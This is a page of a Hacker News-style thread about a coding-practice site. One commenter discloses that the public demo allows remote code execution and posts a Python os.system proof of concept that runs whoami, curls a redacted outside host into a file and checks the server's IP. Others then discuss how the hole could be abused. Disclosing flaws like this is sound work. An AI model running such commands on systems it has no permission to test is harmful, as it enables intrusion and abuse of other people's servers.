81–90 of 134 posts
Having taught people coding for awhile, I don't think the step-by-step teaching models work with coding. It creates an environment where students just think about the next step without internalizing what they learned. I've met students who have gone through freecodecamp's exercises and really struggle with using what they learned. Edabit seems too heavily on algorithms. I've seen many beginner students get quickly bu…
I just reverse image searched all three of their testimonial photos all all come from random .edu faculty pages with completely different names. They also show up on random Twitter profiles and bandcamp pages. Not sure why they’re using fake testimonial photos but that seems rather scummy.
I’m confused as to how anyone would think this is alright to do.
Once you've seen this picture of Brad Frost[1] (a web tech personality), it's hilarious how many startup landing page mockups he appears in. I've personally seen dozens.
[1] https://avatars3.githubusercontent.com/u/383701?s=460&v=4
it was also on Show HN about a month ago.
https://news.ycombinator.com/item?id=18219960
The idea is basically to allow you to create your OWN flashcards and sync them with Anki with the books you're reading.
Basically you can create flashcards in the app directly and sync them to mobile so you never forget the key points of the documentation you're reading.
Right now I'm working on the cloud version so that people can discover each other and collaborate on building their own cards, share highlights, etc.
Earlier quoted context omitted.
How does the url http://redacted/ work? I've never seen a url without a tld on the end. Could I register the domain http://foo ?
> "How does the url http://redacted/ work?" I apologize for the confusion. I used an actual server there (ie. http://somename.com ) but chose to redact the actual URL from this post.
Earlier quoted context omitted.
Getting an exorbitant bill from DigitalOcean after someone has abused your "containers" would not concern you then?
I'm just not sure what you are alleging? Just because you have full "shell" access to the container doesn't necessarily imply any thing needs to be mitigated. What specifically are your concerns? What about what you've learned will create an exorbitant bill?
What do you mean? It's an arbitrary RCE - a scenario that's generally treated as game over. What specifically are the concerns you don't have if that happens to a system of yours?
Good job. However, I was able to run the following on your machine (on the publicly available demo page): def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/") ) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8")) Results: codewarrior 5a8eb7db8f0e 162.243.103.…
Granted, I really doubt anyone would prosecute over something like this, but a bigger company? Absolutely possible.
Earlier quoted context omitted.
I'm just not sure what you are alleging? Just because you have full "shell" access to the container doesn't necessarily imply any thing needs to be mitigated. What specifically are your concerns? What about what you've learned will create an exorbitant bill?
> "What specifically are your concerns? What about what you've learned will create an exorbitant bill?" Abusing the containers to send large amounts of outgoing traffic would do just that. Downloading files would do that too. How about sending a " while(true) { } " to hog some CPU? It doesn't take much to cause significant monetary damage. Depending on their set-up, those containers could contain credentials or some…
Earlier quoted context omitted.
I'm just not sure what you are alleging? Just because you have full "shell" access to the container doesn't necessarily imply any thing needs to be mitigated. What specifically are your concerns? What about what you've learned will create an exorbitant bill?
Just because you have full "shell" access to the container doesn't necessarily imply any thing needs to be mitigated. What do you mean? It's an arbitrary RCE - a scenario that's generally treated as game over. What specifically are the concerns you don't have if that happens to a system of yours?
Now, I'm not saying that containers are super tight by default. It is entirely possible this particular container env is wide open, but I didn't really see anything too concerning from the parents analysis.
Earlier quoted context omitted.
Maybe I don't see your point, but an iOS app could execute code locally. The only risk is the device owner could compromise the device. There is no [additional] risk of another user doing so.
The browser's Javascript console also only runs code locally, but getting people to copy code into it is a serious attack vector. Not saying that's Apple's reason, but being limited to local execution doesn't mean it's safe.